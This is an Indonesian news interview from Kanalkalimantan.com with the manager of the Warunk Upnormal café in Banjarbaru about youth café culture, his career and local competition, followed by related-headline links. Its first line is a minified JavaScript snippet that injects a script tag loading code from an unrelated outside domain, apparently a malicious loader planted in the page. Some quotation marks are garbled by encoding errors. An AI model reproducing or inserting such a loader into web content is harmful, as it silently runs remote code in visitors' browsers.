(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NONGKRONG bagi para milenial saat ini bukan sekadar mengisi waktu luang. Tapi sudah menjadi bagian gaya hidup. Menjamurnya tempat makan plus ngobrol, seperti kafe, bar, karaoke, dan lainnya menjadi bukti masifnya anak-anak muda untuk mencari ruang alternatif. Tempat dimana mereka merekonstruksi kembali identitas sosial dan kulturalnya.
Di Banjarbaru, ratusan kafe hadir untuk menangkap selera anak-anak muda tersebut. Masing-masing hadir dengan konsep yang berbeda. Bukan hanya dari segi menu makanan, tetapi juga tentang tema dan suasana. Termasuk lewat live music, hingga tempat kebugaran.
Salah satu pendatang baru, adalah Warunk Upnormal yang hadir di Jalan Panglima Batur, Loktabat Utara. Kini, kafe ini telah menjadi ikon nongkrong baru bagi anak-anak muda Kota Idaman ini. Berbagai fasilitas seperti musholla, wifi, game, ruang baca, out door hingga private room melengkapi keberadaan warung Upnormal. Selain interior dan dekorasi ruang kafe yang sangat Instagramable!
Soal segmen, Manajer Warunk Upnormal Banjarbaru Jono Wibowo (29) mengatakan, memang membidik kalangan menengah ke bawah. Makanya, soal makanan pun yang disajikan cukup merakyat: indomie, roti bakar, kopi, susu, dan lainnya yang sudah cukup familiar dengan anak kos! Tapi, oleh Upnormal derajat makanan tersebut ditingkatkan kelasnya menjadi setingkat kafe. Atau istilahnya kini adalah Indomie Kekinian.
Menurut Jhonâ€â€demikian ia diakrabi, menjalankan bisnis kafe ini mempertaruhkan seluruh kreatifitas untuk bisa eksis. Bukan hanya pada persoalan menu makanan atau minuman, tapi juga terkait edukasi tempat nongkrong. “Ke depan kami ingin kafe tidak hanya sekadar menjadi tempat makan atau minum, tetapi menjadi pusat kegiatan yang konstruktif bagi anak-anak muda!â€Â
Dengan tekad itulah, ayah dua anak yang asli berdarah Samarinda ini, meninggalkan posisi kerja sebelumnya di Bar Captain Dejavu Club yang memiliki bintang tiga Michelin. Baginya, terlibat dalam bisnis kafe menjadi tantangan baru. Berbekal sebagai konsultan FBM Aston Hotel Balikpapan, Samarinda, Palembang, and Denpasar with Concultancy Avega Indonesia sebagai F&B Project Manager ini, Jhon sebenarnya lama malang melintang di dunia perhotelan. “Ini benar-benar beda. Dan saya memiliki gairah baru untuk menjalaninya,†ungkapnya.
Lalu, apa tantangan dan harapan Jon terkait bisnis kafe, komunitas, dan eduksi anak-anak muda tentang dunia nongkrong ini, berikut petikan wawancaranya dengan Sekretaris Redaksi Kanalkalimantan.com, Desy Arfianti dalam obrolan santai di Warunk Upnormal beberapa waktu lalu:
 ****
Apa yang membuat kamu tertarik berpindah haluan dari pekerja hotel ke bisnis kafe?
Titik jenuh. Setiap pekerja hotel pasti akan menemui titik jenuh. Kerja full dari waktu ke waktu sangat menguras energi untuk menikmati hidup bersama keluarga maupun teman-teman. Bekerja di kafe kita tetap bisa mendapatkan keduanya dengan menghadapi sebuah tantangan baru.
Bukannya tantangan dan nilai lebih di hotel lebih besar ketimbang kafe?
Kalau orang yang tidak memilik pendidikan di perhotelan pasti menginginkan seperti itu. Artinya setelah bekerja di kafe naik tingkatnya pasti ingin berkarier di hotel. Tapi orang yang memiliki pendidikan perhotelan berbeda.  Ibaratnya, pendidikan yang dimiliki seorang hoteliers itu sudah ada penunjuk jalan, peta. Tahu mau dibawa ke mana, belok menikung yang aman seperti apa, sampai di tujuan jam berapa. Hanya saja yang menjadi ketat adalah disiplin managemen waktu hotel.
Pindah berkarier di kafe seperti Upnormal, saya harus menjalankan fungsi management sendiri, semua dikerjakan sendiri. Menjadi pimpinan iya, menjadi HRD juga, mengerjakan urusan finance juga. Lebih lengkapnya menjadi manajer cafe itu seakan jadi GM di tempat kecil.
Jadi, tantangan itu yang kamu rasakan?
Saran saya untuk teman-teman hoteliers jika ingin keluar dari zona nyaman dan merasakan pencapaian yang berbeda keluarlah dari bekerja di hotel. Kalau di hotel semua sudah teratur, selesai briefing pagi semua sudah berjalan sesuai SOP masing masing bidang.
Berbeda dengan Cafe tiap hari kita harus terus memberikan motivasi, pengawasan, perbaikan. Seakan seluruh ilmu pekerja hotel itu terus didengungkan sehingga menciptakan suasana kerja nyaman dan membuat pengunjung juga betah.
Apa yang ingin dicapai bersama Upnormal?
Upnormal punya visi misi partner membangun jaringan kemitraan yang solid dan saling menguntungkan. Lalu sebagai pribadi ini adalah pertarungan diri saya, dengan mengelola Upnormal suatu saat saya menjadi konsultan bisnis cafe.
Persaingan kafe di Banjarbaru tentunya ketat. Ada yang bertahan, ada banyak pula yang tutup. Bagaimana strategi apa agar bisa terus eksis?
Tentu pertama kita cari data dulu market share, profile customer, dan lainnya. Berapa jumlah anak muda, jumlah orang tua setelah itu baru lihat market share yang saya punya dalam radius berapa kilo menjangkau wilayah apa saja. Sehingga bisa diputuskan bentuk produk, harga dan pelayanan yang bisa kita ramu sesuai market share.
Edukasi nongkrong tiap daerah juga beda. Ini harus dipahami. Surabaya misalnya, anak muda ditempat nongkrong membicarakan politik, di Bandung di sana anak nongkrong dengan laptop. Tapi di Banjarbaru beda, masih banyak tempat nongkrong dengan musik-musik diskotik.
Jadi, harapan kamu?
Goals yang ingin Upnormal edukasi adalah menjadikan nongkrong dan tempat nongkrong sesungguhnya! Artinya orang nongkrong tidak perlu mahal, nongkrong bukan hanya karena lagi galau, lagi ingin ketemu teman, lagi ulang tahun. Tapi nongkrong yang bermanfaat. Nongkrong sambil meeting, nongkrong sambil diskusi atau nongkrong karena ingin mencari tempat berbeda untuk menghabiskan waktu sambil membaca buku.
Jadi ada banyak hal bermanfaat yang dilakukan dengan nongkrong. Saya kira, kafe merupakan ruang igaliter yang menjual kesetaraan hubungan dan suasana terbuka. Di tempat ini, mestinya semangat untuk mengembangkan diri bisa dilakukan. Seperti gagasan awal kemunculan banyak kafe di Prancis yang melahirkan banyak tokoh dan pemikir hebat.
Gejala ini sudah mulai berkembang dengan munculnya istilah ‘ngantor di kafe’ atau belajar sambil nongkrong. Yang perlu dilakukan adalah menciptkan atmosfernya, sehingga hal tersebut bisa terus berkembang. Orang kalau datang ke kafe kalau gak sambil baca buku, bawa laptop, atau bekerja, belum nongkrong namanya. Jadi, semacam mengembalikan fungsi kafe secara positif. Sehingga kehadiran kafe juga berkontribusi positif untuk kemajuan. Khususnya dalam hal perkembangan anak-anak mudanya!
Bukankah itu memerlukan waktu dan proses?
Iya, tapi kalau tidak digarap maka tidak akan terjadi perubahan pada edukasi nongkrong ini. Di Upnormal salah satu yang dilakukan adalah mencoba memulainya. Dengan menggelar kegiatan, maupun membuat ruang baca. Meskipun saat ini cukup terbatas, tapi kita akan kembangkan.
Lalu, potensi arah dan gaya nongkrong anak muda Banjarbaru kemana?
Habit dari dibentuk pluralisme (maksudnya semangat keberagamaan yang kuat, red) berpengaruh pada ranah entertainment. Kafe apapun bentuknya tetap menghasilkan entertainment, hanya saja jika telah dibatasi oleh bahasa pluralisme, maka naiknya akan berat. Karena pluralisme adalah karakter tiap daerah yang menjadi ruh dari cara pandang dan perilaku masyarakatnya. Bisa menghasilkan produk entertainment yang bisa dinikmati tapi harus menjadi seiring sejalan dengan pluralismenya. Secara potensi Banjarbaru bagus mengarah berkembang tapi belum berkembang.
Langkah apa menurut kamu yang mesti pertama dilakukan?
Eksis dulu. Selama eksis, maka kafe akan bertahan. Gaungkan namanya. Psikologi pasar yang harus dipegang, lalu pegang eksistisme dan fanatisme pasar. Saat ini masih banyak di antara rekan bisnis yang memandang kehadiran kafe baru adalah musuh. Ini sangat disayangkan.
Kenapa kita tidak berkompetisi secara sehat. Kalau di Jawa bahkan ada grup manajer kafe, dimana mereka saling share keuntungan, diskusi dan lain-lain. Di sini, begitu ada Upnormal ada beberapa Cafe langsung menurunkan harga jual. Sayang sekali padahal itu tidak perlu dilakukan. Karena tiap tempat memiliki cita rasa dan biaya operasional yang berbeda. Kafe yang terlalu ramai, juga lama kelamaan akan tutup.
Satu kota kecil di Amerika ada pemilik kafe yang hobby sekali mendirikan sebuah kafe dan membuat mati kafe di sekitarnya. Tapi, lama-kelamaan kafe tersebut juga akhirnya tutup. Karena tidak mungkin menampung semua cita rasa yang diinginkan seluruh kota.
Kalau sudah terlalu ramai, akhirnya juga tidak bisa menjaga kualitas, pelayanan, standardisasi rusak. Jadi mari kita berjalan sama-sama saling bersaing sehat sehingga tercipta bisnis Kuliner yang membuat pembeli memiliki banyak pilihan.
Untuk maju bersama, apa yang harus dilakukan?
Peran pemerintah merangkul stakeholder. Pelatihan, seminar, edukasi project. Turunkan ego ini untuk kita bersama. Ini dulu yang harus dilakukan. Ketika pemerintah, vendor bisa satu visi, maka bisnis cafe juga akan sehat. Kalau sudah sehat tentu saja bisa berkembang. Perkumpulan manajer kafe ini juga belum ada di Banjarbaru. Kedepannya hal ini yang ingin saya lakukan.
Sebagai pemegang pengalaman F&B (Food and Beverage) tidak kah ingin menciptakan makanan dan minuman karya cipta sendiri di Upnormal?
Pengen sih. He he… Tapi Upnormal sudah memiliki karakter F&B sendiri jadi saya tinggal mengelola dan memasarkan. (desy)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.